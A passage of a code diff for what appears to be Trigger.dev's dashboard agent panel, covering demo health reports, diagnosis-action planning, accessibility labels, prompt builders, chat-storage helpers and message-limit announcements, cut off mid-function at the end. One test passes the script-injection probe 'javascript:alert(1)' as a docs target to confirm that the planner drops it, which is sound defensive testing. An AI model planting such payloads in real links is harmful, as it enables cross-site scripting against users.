{ id: "liveness", value: 18_000, unit: "ms", availability: "measured", severity: "ok" },
|
||||
],
|
||||
facts: {
|
||||
trustworthy: true,
|
||||
flowSource: "queue",
|
||||
pendingEstimated: false,
|
||||
throughput: { donePerMin: 820, triggeredPerMin: 1_000 },
|
||||
},
|
||||
links: [
|
||||
{
|
||||
key: "concurrency_docs",
|
||||
label: "Concurrency & limits",
|
||||
url: "https://trigger.dev/docs/queue-concurrency",
|
||||
},
|
||||
{ key: "contact", label: "Contact us", url: "https://trigger.dev/contact" },
|
||||
],
|
||||
footer: [
|
||||
{ code: "contact_us_raise_limit", link: "contact" },
|
||||
{ code: "concurrency_docs", link: "concurrency_docs" },
|
||||
{ code: "do_nothing_drains", value: 26.7 },
|
||||
],
|
||||
};
|
||||
|
||||
export const demoReports = {
|
||||
healthy: demoHealthyReport,
|
||||
degraded: demoDegradedReport,
|
||||
} as const;
|
||||
@@ -0,0 +1,23 @@
|
||||
// Every id the demo layer produces contains "demo".
|
||||
export const DEMO_ID_PREFIX = "demo:";
|
||||
|
||||
export function demoId(rest: string): string {
|
||||
return `${DEMO_ID_PREFIX}${rest}`;
|
||||
}
|
||||
|
||||
export const DEMO_WORLD = {
|
||||
failedRunId: "run_demo0f2c91",
|
||||
failedSpanId: "span_demoa41b",
|
||||
waitingRunId: "run_demo7b41ad",
|
||||
slowRunId: "run_democ0113e",
|
||||
priorRunId: "run_demo4419bb",
|
||||
taskId: "send-order-receipt",
|
||||
slowTaskId: "generate-monthly-report",
|
||||
queue: "demo-email-sends",
|
||||
backlogQueue: "demo-backlog-drain",
|
||||
errorFingerprint: "error_demo5a1c73",
|
||||
deploymentVersion: "20260726.4-demo",
|
||||
sourceSha: "demo1a2b3c4d5e6f70",
|
||||
sourcePath: "src/trigger/sendOrderReceipt.ts",
|
||||
reportKey: "health",
|
||||
} as const;
|
||||
@@ -0,0 +1,47 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { planDiagnosisActions } from "./diagnosis-actions";
|
||||
|
||||
const RUN_PATH = "/orgs/acme/projects/api/env/prod/runs/run_abc123";
|
||||
|
||||
const resolve = {
|
||||
runPath: () => RUN_PATH,
|
||||
docsUrl: (target: string) => (target.startsWith("https://") ? target : null),
|
||||
};
|
||||
|
||||
// Org/project/env context is missing, so no run URL can be built.
|
||||
const withoutContext = { ...resolve, runPath: () => null };
|
||||
|
||||
const viewRun = { kind: "view_run", target: "run_abc123", label: "View run" };
|
||||
const docs = { kind: "docs", target: "https://trigger.dev/docs/errors", label: "Read the docs" };
|
||||
|
||||
describe("planDiagnosisActions", () => {
|
||||
it("keeps a run action that resolves to a path", () => {
|
||||
expect(planDiagnosisActions([viewRun], resolve)).toEqual([
|
||||
{ kind: "view_run", label: "View run", to: RUN_PATH },
|
||||
]);
|
||||
});
|
||||
|
||||
it("drops a run action when the path can't be resolved", () => {
|
||||
expect(planDiagnosisActions([viewRun], withoutContext)).toEqual([]);
|
||||
});
|
||||
|
||||
it("drops only the unresolvable action, keeping the rest", () => {
|
||||
expect(planDiagnosisActions([viewRun, docs], withoutContext)).toEqual([
|
||||
{ kind: "docs", label: "Read the docs", to: docs.target },
|
||||
]);
|
||||
});
|
||||
|
||||
it("drops a run action whose target is not a run id", () => {
|
||||
expect(planDiagnosisActions([{ ...viewRun, target: "the payments task" }], resolve)).toEqual(
|
||||
[]
|
||||
);
|
||||
});
|
||||
|
||||
it("drops a docs action with an unsafe target", () => {
|
||||
expect(planDiagnosisActions([{ ...docs, target: "javascript:alert(1)" }], resolve)).toEqual([]);
|
||||
});
|
||||
|
||||
it("drops an action kind it does not know", () => {
|
||||
expect(planDiagnosisActions([{ ...viewRun, kind: "replay_run" }], resolve)).toEqual([]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,37 @@
|
||||
import { isRunFriendlyId } from "./run-id";
|
||||
|
||||
export type DiagnosisActionInput = { kind: string; target: string; label: string };
|
||||
|
||||
export type PlannedDiagnosisAction = {
|
||||
kind: "view_run" | "docs";
|
||||
label: string;
|
||||
to: string;
|
||||
};
|
||||
|
||||
/**
|
||||
* An action whose destination can't be resolved is dropped, never rendered as a
|
||||
* button that does nothing.
|
||||
*/
|
||||
export function planDiagnosisActions(
|
||||
actions: readonly DiagnosisActionInput[],
|
||||
resolve: {
|
||||
runPath: (runId: string) => string | null;
|
||||
docsUrl: (target: string) => string | null;
|
||||
}
|
||||
): PlannedDiagnosisAction[] {
|
||||
const planned: PlannedDiagnosisAction[] = [];
|
||||
|
||||
for (const action of actions) {
|
||||
if (action.kind === "view_run" && isRunFriendlyId(action.target)) {
|
||||
const to = resolve.runPath(action.target);
|
||||
if (to) planned.push({ kind: "view_run", label: action.label, to });
|
||||
continue;
|
||||
}
|
||||
if (action.kind === "docs") {
|
||||
const to = resolve.docsUrl(action.target);
|
||||
if (to) planned.push({ kind: "docs", label: action.label, to });
|
||||
}
|
||||
}
|
||||
|
||||
return planned;
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { chatHistoryTriggerLabel } from "./header-labels";
|
||||
|
||||
describe("chatHistoryTriggerLabel", () => {
|
||||
it("starts with the words on the button, so speech input can activate it", () => {
|
||||
const title = "Why did my task retry?";
|
||||
const label = chatHistoryTriggerLabel(title);
|
||||
expect(label.startsWith(title)).toBe(true);
|
||||
expect(label).toContain(title);
|
||||
});
|
||||
|
||||
it("still says what the button does", () => {
|
||||
expect(chatHistoryTriggerLabel("New chat").toLowerCase()).toContain("chat history");
|
||||
});
|
||||
|
||||
it("falls back to the purpose when there is no title to read", () => {
|
||||
expect(chatHistoryTriggerLabel("")).toBe("Chat history");
|
||||
expect(chatHistoryTriggerLabel(" ")).toBe("Chat history");
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
|
||||
* here computes a real accessible name. It asserts the header asks for the label above rather
|
||||
* than a constant that would replace the visible title.
|
||||
*/
|
||||
describe("the header's history trigger", () => {
|
||||
const source = readFileSync(new URL("./DashboardAgentHeader.tsx", import.meta.url), "utf8");
|
||||
|
||||
it("names itself with the title, not with a bare constant", () => {
|
||||
expect(source).toContain("aria-label={chatHistoryTriggerLabel(title)}");
|
||||
expect(source).not.toContain('aria-label="Chat history"');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,9 @@
|
||||
/**
|
||||
* The chat-history trigger shows the chat's title and opens the history menu, so its accessible
|
||||
* name has to carry both: speech-input users activate a control by the words they can see, and a
|
||||
* bare "Chat history" hides them (WCAG 2.5.3). The title leads, because that is what is read.
|
||||
*/
|
||||
export function chatHistoryTriggerLabel(title: string): string {
|
||||
const trimmed = title.trim();
|
||||
return trimmed ? `${trimmed}, chat history` : "Chat history";
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
errorGroupPrompt,
|
||||
failedRunPrompt,
|
||||
isFailedRunStatus,
|
||||
queueBacklogPrompt,
|
||||
waitingRunPrompt,
|
||||
} from "./investigate-prompts";
|
||||
|
||||
describe("isFailedRunStatus", () => {
|
||||
it("is true for failure statuses", () => {
|
||||
for (const status of [
|
||||
"COMPLETED_WITH_ERRORS",
|
||||
"CRASHED",
|
||||
"SYSTEM_FAILURE",
|
||||
"TIMED_OUT",
|
||||
"EXPIRED",
|
||||
]) {
|
||||
expect(isFailedRunStatus(status)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("is false for everything else", () => {
|
||||
for (const status of ["PENDING", "EXECUTING", "COMPLETED_SUCCESSFULLY", "CANCELED", "PAUSED"]) {
|
||||
expect(isFailedRunStatus(status)).toBe(false);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe("investigate prompts", () => {
|
||||
it("names the run that failed", () => {
|
||||
expect(failedRunPrompt("run_abc")).toBe("Investigate run run_abc — why did it fail?");
|
||||
});
|
||||
|
||||
it("names the queue a waiting run is stuck in, when known", () => {
|
||||
expect(waitingRunPrompt("run_abc", "emails")).toBe(
|
||||
"Why is run run_abc waiting to start in the emails queue?"
|
||||
);
|
||||
expect(waitingRunPrompt("run_abc")).toBe("Why is run run_abc waiting to start?");
|
||||
});
|
||||
|
||||
it("names the error and its task, when known", () => {
|
||||
expect(errorGroupPrompt("error_abc", "send-email")).toBe(
|
||||
"Investigate error error_abc in send-email — what's causing it and is it still happening?"
|
||||
);
|
||||
expect(errorGroupPrompt("error_abc")).toBe(
|
||||
"Investigate error error_abc — what's causing it and is it still happening?"
|
||||
);
|
||||
});
|
||||
|
||||
it("names the backed-up queue", () => {
|
||||
expect(queueBacklogPrompt("emails")).toBe(
|
||||
"Investigate the emails queue — why is it backed up?"
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,47 @@
|
||||
// Same set as the fresh-failure signal in `suggested-prompts/page-mappers.ts`.
|
||||
const FAILED_RUN_STATUSES = new Set([
|
||||
"COMPLETED_WITH_ERRORS",
|
||||
"CRASHED",
|
||||
"SYSTEM_FAILURE",
|
||||
"TIMED_OUT",
|
||||
"EXPIRED",
|
||||
]);
|
||||
|
||||
export function isFailedRunStatus(status: string): boolean {
|
||||
return FAILED_RUN_STATUSES.has(status);
|
||||
}
|
||||
|
||||
export function failedRunPrompt(runFriendlyId: string): string {
|
||||
return `Investigate run ${runFriendlyId} — why did it fail?`;
|
||||
}
|
||||
|
||||
export function waitingRunPrompt(runFriendlyId: string, queueName?: string): string {
|
||||
return queueName
|
||||
? `Why is run ${runFriendlyId} waiting to start in the ${queueName} queue?`
|
||||
: `Why is run ${runFriendlyId} waiting to start?`;
|
||||
}
|
||||
|
||||
export function errorGroupPrompt(errorFriendlyId: string, taskIdentifier?: string): string {
|
||||
const subject = taskIdentifier
|
||||
? `error ${errorFriendlyId} in ${taskIdentifier}`
|
||||
: `error ${errorFriendlyId}`;
|
||||
return `Investigate ${subject} — what's causing it and is it still happening?`;
|
||||
}
|
||||
|
||||
export function queueBacklogPrompt(queueName: string): string {
|
||||
return `Investigate the ${queueName} queue — why is it backed up?`;
|
||||
}
|
||||
|
||||
// The name is optional: the test page knows its queue is paused but not what it's called.
|
||||
export function pausedQueuePrompt(queueName?: string): string {
|
||||
const subject = queueName ? `The ${queueName} queue` : "The queue this task runs on";
|
||||
return `${subject} is paused, so nothing new will start on it. What's waiting behind it?`;
|
||||
}
|
||||
|
||||
export function batchFailurePrompt(batchFriendlyId: string, failedRunCount?: number): string {
|
||||
const scale =
|
||||
failedRunCount !== undefined && failedRunCount > 0
|
||||
? `${failedRunCount} of its runs failed`
|
||||
: "some of its runs failed";
|
||||
return `Investigate batch ${batchFriendlyId} — ${scale}. Which ones, and why?`;
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import type { UIMessage } from "@ai-sdk/react";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
blocksFor,
|
||||
stripStepParts,
|
||||
winningInvestigationOccurrences,
|
||||
} from "./DashboardAgentMessages";
|
||||
import { reuseWinners, sameOccurrences } from "./investigation-winners";
|
||||
|
||||
const source = readFileSync(new URL("./DashboardAgentMessages.tsx", import.meta.url), "utf8");
|
||||
|
||||
function recompute(entries: Array<[string, string]>): Map<string, string> {
|
||||
return new Map(entries.map(([id, occurrence]) => [id, occurrence]));
|
||||
}
|
||||
|
||||
describe("investigation winners identity", () => {
|
||||
it("reuses the previous map when the winners are unchanged", () => {
|
||||
const first = recompute([["inv_1", "m1:0"]]);
|
||||
const second = recompute([["inv_1", "m1:0"]]);
|
||||
expect(second).not.toBe(first);
|
||||
|
||||
expect(reuseWinners(first, second)).toBe(first);
|
||||
});
|
||||
|
||||
it("takes the new map when a winner moves to another occurrence", () => {
|
||||
const first = recompute([["inv_1", "m1:0"]]);
|
||||
const moved = recompute([["inv_1", "m2:0"]]);
|
||||
|
||||
expect(reuseWinners(first, moved)).toBe(moved);
|
||||
});
|
||||
|
||||
it("takes the new map when an investigation appears", () => {
|
||||
const first = recompute([["inv_1", "m1:0"]]);
|
||||
const grown = recompute([
|
||||
["inv_1", "m1:0"],
|
||||
["inv_2", "m2:0"],
|
||||
]);
|
||||
|
||||
expect(reuseWinners(first, grown)).toBe(grown);
|
||||
expect(sameOccurrences(first, grown)).toBe(false);
|
||||
});
|
||||
|
||||
it("has no previous map on the first render", () => {
|
||||
const only = recompute([["inv_1", "m1:0"]]);
|
||||
expect(reuseWinners(undefined, only)).toBe(only);
|
||||
});
|
||||
|
||||
it("computes the winners inside a memo and reuses the reference", () => {
|
||||
expect(source).toMatch(/useMemo\(\(\) => winningInvestigationOccurrences\(messages\)/);
|
||||
expect(source).toContain("reuseWinners(previous.current, next)");
|
||||
expect(source).toContain("useInvestigationWinners(stripped)");
|
||||
expect(source).not.toMatch(/=\s*winningInvestigationOccurrences\(stripped\)/);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The turns are memoized on the message object, so a stripped message rebuilt on every
|
||||
* render defeats the memo for every tool-calling turn at once.
|
||||
*/
|
||||
describe("stripped message identity", () => {
|
||||
function withStepStart(): UIMessage {
|
||||
return {
|
||||
id: "m1",
|
||||
role: "assistant",
|
||||
parts: [{ type: "step-start" }, { type: "text", text: "hello" }],
|
||||
} as unknown as UIMessage;
|
||||
}
|
||||
|
||||
it("returns the very same reference when there is nothing to strip", () => {
|
||||
const plain = { id: "m1", role: "assistant", parts: [{ type: "text", text: "hi" }] };
|
||||
const message = plain as unknown as UIMessage;
|
||||
|
||||
expect(stripStepParts(message)).toBe(message);
|
||||
});
|
||||
|
||||
it("returns the same stripped reference on every later call", () => {
|
||||
const message = withStepStart();
|
||||
const first = stripStepParts(message);
|
||||
|
||||
expect(first).not.toBe(message);
|
||||
expect(first.parts).toHaveLength(1);
|
||||
for (let token = 0; token < 20; token++) {
|
||||
expect(stripStepParts(message)).toBe(first);
|
||||
}
|
||||
});
|
||||
|
||||
it("strips a different message to its own reference", () => {
|
||||
const a = withStepStart();
|
||||
const b = withStepStart();
|
||||
|
||||
expect(stripStepParts(a)).not.toBe(stripStepParts(b));
|
||||
expect(stripStepParts(a)).toBe(stripStepParts(a));
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* The winner pass runs once per streamed token over the whole transcript, so it must
|
||||
* not touch report payloads. `output` is a counting getter because a report parse is
|
||||
* otherwise silent: it returns `null` on a bad payload rather than throwing.
|
||||
*/
|
||||
function countingReportPart(vm: unknown) {
|
||||
let reads = 0;
|
||||
const part = {
|
||||
type: "tool-get_report",
|
||||
state: "output-available",
|
||||
toolCallId: "toolcall_1",
|
||||
get output() {
|
||||
reads++;
|
||||
return { vm };
|
||||
},
|
||||
};
|
||||
return { part: part as unknown as UIMessage["parts"][number], reads: () => reads };
|
||||
}
|
||||
|
||||
const VALID_VM = {
|
||||
title: "health",
|
||||
scope: "prod",
|
||||
period: "last 1h",
|
||||
generatedAt: "2026-07-27T10:15:00.000Z",
|
||||
windowMinutes: 60,
|
||||
summary: { severity: "ok", statements: [] },
|
||||
};
|
||||
|
||||
describe("the winner pass does not parse report blocks", () => {
|
||||
it("leaves a report part's payload untouched", () => {
|
||||
const valid = countingReportPart(VALID_VM);
|
||||
// Would fail `reportBlockSchema`: no `generatedAt`, no `windowMinutes`.
|
||||
const invalid = countingReportPart({ title: "health" });
|
||||
|
||||
const messages = [
|
||||
{ id: "m1", role: "assistant", parts: [valid.part, invalid.part] },
|
||||
] as unknown as UIMessage[];
|
||||
|
||||
let winners: Map<string, string> | undefined;
|
||||
expect(() => (winners = winningInvestigationOccurrences(messages))).not.toThrow();
|
||||
|
||||
expect(winners!.size).toBe(0);
|
||||
expect(valid.reads()).toBe(0);
|
||||
expect(invalid.reads()).toBe(0);
|
||||
});
|
||||
|
||||
it("still parses the same part when the turn renders it", () => {
|
||||
const valid = countingReportPart(VALID_VM);
|
||||
const blocks = blocksFor(valid.part);
|
||||
|
||||
expect(valid.reads()).toBeGreaterThan(0);
|
||||
expect(blocks).toHaveLength(1);
|
||||
expect((blocks![0] as { type: string }).type).toBe("report");
|
||||
});
|
||||
|
||||
it("still finds investigation winners emitted by the view tools", () => {
|
||||
const messages = [
|
||||
{
|
||||
id: "m1",
|
||||
role: "assistant",
|
||||
parts: [
|
||||
countingReportPart(VALID_VM).part,
|
||||
{
|
||||
type: "tool-render_view",
|
||||
output: { blocks: [{ type: "investigation", id: "inv_1", revision: 0 }] },
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
id: "m2",
|
||||
role: "assistant",
|
||||
parts: [
|
||||
{
|
||||
type: "data-view",
|
||||
data: { blocks: [{ type: "investigation", id: "inv_1", revision: 1 }] },
|
||||
},
|
||||
],
|
||||
},
|
||||
] as unknown as UIMessage[];
|
||||
|
||||
expect(winningInvestigationOccurrences(messages)).toEqual(new Map([["inv_1", "m2:0"]]));
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,14 @@
|
||||
export function sameOccurrences(a: Map<string, string>, b: Map<string, string>): boolean {
|
||||
if (a.size !== b.size) return false;
|
||||
for (const [id, occurrence] of a) {
|
||||
if (b.get(id) !== occurrence) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
export function reuseWinners(
|
||||
previous: Map<string, string> | undefined,
|
||||
next: Map<string, string>
|
||||
): Map<string, string> {
|
||||
return previous && sameOccurrences(previous, next) ? previous : next;
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
forgetLastChat,
|
||||
lastChatStorageKey,
|
||||
readLastChat,
|
||||
shouldPersistLastChat,
|
||||
writeLastChat,
|
||||
} from "./last-chat-storage";
|
||||
|
||||
const ORG_A = "org_a";
|
||||
const ORG_B = "org_b";
|
||||
const KEY_A = lastChatStorageKey(ORG_A);
|
||||
const KEY_B = lastChatStorageKey(ORG_B);
|
||||
|
||||
const chatOfA = { chatId: "chat_a1", organizationId: ORG_A };
|
||||
|
||||
let store: Map<string, string>;
|
||||
|
||||
beforeEach(() => {
|
||||
store = new Map();
|
||||
vi.stubGlobal("window", {
|
||||
localStorage: {
|
||||
getItem: (key: string) => store.get(key) ?? null,
|
||||
setItem: (key: string, value: string) => void store.set(key, value),
|
||||
removeItem: (key: string) => void store.delete(key),
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
});
|
||||
|
||||
describe("shouldPersistLastChat", () => {
|
||||
it("persists a chat under its own org", () => {
|
||||
expect(shouldPersistLastChat(chatOfA, ORG_A)).toBe(true);
|
||||
});
|
||||
|
||||
// The org-reset effect clears `active` in a later flush, so the persistence effect runs
|
||||
// once with the previous org's chat and the new org's key.
|
||||
it("does not persist the previous org's chat once the org has switched", () => {
|
||||
expect(shouldPersistLastChat(chatOfA, ORG_B)).toBe(false);
|
||||
});
|
||||
|
||||
it("persists nothing when there is no chat", () => {
|
||||
expect(shouldPersistLastChat(null, ORG_A)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("last chat storage across an org switch", () => {
|
||||
it("leaves the new org's key untouched when the panel still holds the old org's chat", () => {
|
||||
writeLastChat(KEY_A, { chatId: chatOfA.chatId, path: "/orgs/a/runs" });
|
||||
if (shouldPersistLastChat(chatOfA, ORG_B)) {
|
||||
writeLastChat(KEY_B, { chatId: chatOfA.chatId, path: "/orgs/b/runs" });
|
||||
}
|
||||
|
||||
expect(readLastChat(KEY_B)).toBeNull();
|
||||
expect(readLastChat(KEY_A)).toEqual({ chatId: chatOfA.chatId, path: "/orgs/a/runs" });
|
||||
});
|
||||
|
||||
it("forgets a pointer to a chat that is gone", () => {
|
||||
writeLastChat(KEY_A, { chatId: chatOfA.chatId, path: "/orgs/a/runs" });
|
||||
forgetLastChat(KEY_A);
|
||||
|
||||
expect(readLastChat(KEY_A)).toBeNull();
|
||||
expect(store.has(KEY_A)).toBe(false);
|
||||
});
|
||||
|
||||
it("ignores a pre-path entry that was just the chat id", () => {
|
||||
store.set(KEY_A, "chat_a1");
|
||||
|
||||
expect(readLastChat(KEY_A)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,45 @@
|
||||
export const lastChatStorageKey = (organizationId: string) =>
|
||||
`tdev:dashboard-agent:last-chat:${organizationId}`;
|
||||
|
||||
export function readLastChat(storageKey: string): { chatId: string; path: string } | null {
|
||||
if (typeof window === "undefined") return null;
|
||||
try {
|
||||
const raw = window.localStorage.getItem(storageKey);
|
||||
if (!raw) return null;
|
||||
// Pre-path entries were the bare chat id: no page to match, so start fresh.
|
||||
if (!raw.startsWith("{")) return null;
|
||||
const parsed = JSON.parse(raw) as { chatId?: string; path?: string };
|
||||
return parsed.chatId && parsed.path ? { chatId: parsed.chatId, path: parsed.path } : null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
export function writeLastChat(storageKey: string, entry: { chatId: string; path: string }) {
|
||||
if (typeof window === "undefined") return;
|
||||
try {
|
||||
window.localStorage.setItem(storageKey, JSON.stringify(entry));
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function forgetLastChat(storageKey: string) {
|
||||
if (typeof window === "undefined") return;
|
||||
try {
|
||||
window.localStorage.removeItem(storageKey);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The chat's own org, never the panel's: an org switch re-keys the storage entry in the same
|
||||
* effect flush that still holds the previous org's chat, which would file it under the new key.
|
||||
*/
|
||||
export function shouldPersistLastChat<T extends { chatId: string; organizationId: string }>(
|
||||
active: T | null | undefined,
|
||||
organizationId: string
|
||||
): active is T {
|
||||
return Boolean(active?.chatId) && active?.organizationId === organizationId;
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
import type { ComponentType, ReactNode } from "react";
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
// Rows are `<li>`, so the wrapper must stay a list element.
|
||||
export function AgentList({ children, className }: { children: ReactNode; className?: string }) {
|
||||
return <ol className={cn("flex w-full flex-col gap-1.5", className)}>{children}</ol>;
|
||||
}
|
||||
|
||||
export type AgentListRowVariant = "default" | "promoted" | "selected";
|
||||
|
||||
const ROW_VARIANTS: Record<AgentListRowVariant, string> = {
|
||||
default:
|
||||
"border-grid-bright bg-background-bright/40 text-text-dimmed hover:border-border-bright hover:text-text-bright",
|
||||
promoted: "border-indigo-500/40 bg-indigo-500/5 text-text-bright hover:border-indigo-500/60",
|
||||
selected: "border-border-bright bg-background-bright text-text-bright",
|
||||
};
|
||||
|
||||
export function AgentListRow({
|
||||
label,
|
||||
meta,
|
||||
status,
|
||||
variant = "default",
|
||||
onSelect,
|
||||
action,
|
||||
}: {
|
||||
label: ReactNode;
|
||||
meta?: ReactNode;
|
||||
status?: ReactNode;
|
||||
variant?: AgentListRowVariant;
|
||||
onSelect: () => void;
|
||||
/** Use {@link AgentListRowAction}. */
|
||||
action?: ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<li className="group flex items-center gap-1">
|
||||
<button
|
||||
type="button"
|
||||
onClick={onSelect}
|
||||
className={cn(
|
||||
"flex min-w-0 flex-1 items-center gap-2 rounded-md border px-3 py-2 text-left text-sm outline-hidden transition focus-custom",
|
||||
ROW_VARIANTS[variant]
|
||||
)}
|
||||
>
|
||||
{status ? (
|
||||
<span className="flex w-4 shrink-0 items-center justify-center">{status}</span>
|
||||
) : null}
|
||||
<span className="line-clamp-1 min-w-0 flex-1">{label}</span>
|
||||
{meta ? <span className="shrink-0 text-xs text-text-faint">{meta}</span> : null}
|
||||
</button>
|
||||
{action}
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
export function AgentListRowAction({
|
||||
icon: Icon,
|
||||
label,
|
||||
onClick,
|
||||
danger = false,
|
||||
}: {
|
||||
icon: ComponentType<{ className?: string }>;
|
||||
label: string;
|
||||
onClick: () => void;
|
||||
danger?: boolean;
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
aria-label={label}
|
||||
onClick={onClick}
|
||||
className={cn(
|
||||
"shrink-0 rounded p-1 text-text-faint opacity-0 transition-opacity group-hover:opacity-100 group-focus-within:opacity-100 focus-visible:opacity-100 focus-custom",
|
||||
danger ? "hover:text-error" : "hover:text-text-bright"
|
||||
)}
|
||||
>
|
||||
<Icon className="size-3.5" />
|
||||
</button>
|
||||
);
|
||||
}
|
||||
@@ -1,3 +1,4 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
checkMessageParts,
|
||||
@@ -6,6 +7,10 @@ import {
|
||||
MAX_MESSAGE_BODY_BYTES,
|
||||
MAX_MESSAGE_CHARS,
|
||||
MAX_MESSAGE_PARTS,
|
||||
MESSAGE_ANNOUNCE_STEP,
|
||||
MESSAGE_CHARS_WARN_AT,
|
||||
MESSAGE_LIMIT_REACHED_ANNOUNCEMENT,
|
||||
messageCountAnnouncement,
|
||||
} from "./message-limits";
|
||||
|
||||
describe("message limits", () => {
|
||||
@@ -61,3 +66,73 @@ describe("message limits", () => {
|
||||
expect(exceedsMessageBodyBytes(null)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("messageCountAnnouncement", () => {
|
||||
it("says nothing at all for a normal message", () => {
|
||||
expect(messageCountAnnouncement(0)).toBe("");
|
||||
expect(messageCountAnnouncement(MESSAGE_CHARS_WARN_AT - 1)).toBe("");
|
||||
});
|
||||
|
||||
it("speaks up on reaching the warning point, and again on the limit", () => {
|
||||
expect(messageCountAnnouncement(MESSAGE_CHARS_WARN_AT)).toBe(
|
||||
`${MAX_MESSAGE_CHARS - MESSAGE_CHARS_WARN_AT} characters left`
|
||||
);
|
||||
expect(messageCountAnnouncement(MAX_MESSAGE_CHARS)).toBe(MESSAGE_LIMIT_REACHED_ANNOUNCEMENT);
|
||||
});
|
||||
|
||||
it("changes rarely enough to be worth listening to", () => {
|
||||
const spoken = new Set<string>();
|
||||
let changes = 0;
|
||||
let previous = messageCountAnnouncement(MESSAGE_CHARS_WARN_AT - 1);
|
||||
|
||||
for (let length = MESSAGE_CHARS_WARN_AT - 1; length <= MAX_MESSAGE_CHARS; length++) {
|
||||
const announcement = messageCountAnnouncement(length);
|
||||
if (announcement !== previous) changes++;
|
||||
previous = announcement;
|
||||
if (announcement) spoken.add(announcement);
|
||||
}
|
||||
|
||||
// One per step across the warning band, plus the limit itself.
|
||||
const expected = (MAX_MESSAGE_CHARS - MESSAGE_CHARS_WARN_AT) / MESSAGE_ANNOUNCE_STEP + 1;
|
||||
expect(spoken.size).toBe(expected);
|
||||
expect(changes).toBe(expected);
|
||||
expect(spoken).toContain(MESSAGE_LIMIT_REACHED_ANNOUNCEMENT);
|
||||
});
|
||||
|
||||
it("steps down through the band in order", () => {
|
||||
// Typing one character can only ever move the announcement forward.
|
||||
const seen: string[] = [];
|
||||
for (let length = MESSAGE_CHARS_WARN_AT; length <= MAX_MESSAGE_CHARS; length++) {
|
||||
const announcement = messageCountAnnouncement(length);
|
||||
if (seen.at(-1) !== announcement) seen.push(announcement);
|
||||
}
|
||||
|
||||
expect(seen).toEqual([
|
||||
"800 characters left",
|
||||
"600 characters left",
|
||||
"400 characters left",
|
||||
"200 characters left",
|
||||
MESSAGE_LIMIT_REACHED_ANNOUNCEMENT,
|
||||
]);
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
|
||||
* here mounts the composer or listens to a screen reader. It asserts the live region is written
|
||||
* unconditionally, which is the part the announcement depends on.
|
||||
*/
|
||||
describe("the composer's live region", () => {
|
||||
const source = readFileSync(new URL("./DashboardAgentComposer.tsx", import.meta.url), "utf8");
|
||||
|
||||
it("is in the DOM before the count reaches the warning point", () => {
|
||||
const region = source.slice(source.indexOf('aria-live="polite"'));
|
||||
expect(region).toContain("messageCountAnnouncement(value.length)");
|
||||
// The old form: the region itself only existed past the threshold.
|
||||
expect(source).not.toMatch(/MESSAGE_CHARS_WARN_AT \? \(\s*<p[^>]*aria-live/);
|
||||
});
|
||||
|
||||
it("does not read the visible counter out a second time", () => {
|
||||
expect(source).toContain("aria-hidden");
|
||||
});
|
||||
});
|
||||
|
||||
@@ -10,6 +10,30 @@ export const MAX_MESSAGE_CHARS = 8_000;
|
||||
/** The counter only shows near the limit, so a normal message never sees it. */
|
||||
export const MESSAGE_CHARS_WARN_AT = Math.floor(MAX_MESSAGE_CHARS * 0.9);
|
||||
|
||||
/** The live region rounds the remaining characters up to this, so it speaks in steps. */
|
||||
export const MESSAGE_ANNOUNCE_STEP = 200;
|
||||
|
||||
export const MESSAGE_LIMIT_REACHED_ANNOUNCEMENT = "Message limit reached";
|
||||
|
||||
/**
|
||||
* What the composer's live region says at this length: empty until the counter is worth
|
||||
* showing. The region itself stays mounted whatever this returns — several screen readers only
|
||||
* announce changes to a region that was already in the DOM.
|
||||
*
|
||||
* A live count would be read out once per keystroke, so this steps instead: four announcements
|
||||
* between the warning point and the limit, and one more on reaching it. The exact count stays in
|
||||
* the visible counter.
|
||||
*/
|
||||
export function messageCountAnnouncement(length: number): string {
|
||||
if (length < MESSAGE_CHARS_WARN_AT) return "";
|
||||
|
||||
const remaining = Math.max(MAX_MESSAGE_CHARS - length, 0);
|
||||
if (remaining === 0) return MESSAGE_LIMIT_REACHED_ANNOUNCEMENT;
|
||||
|
||||
const step = Math.ceil(remaining / MESSAGE_ANNOUNCE_STEP) * MESSAGE_ANNOUNCE_STEP;
|
||||
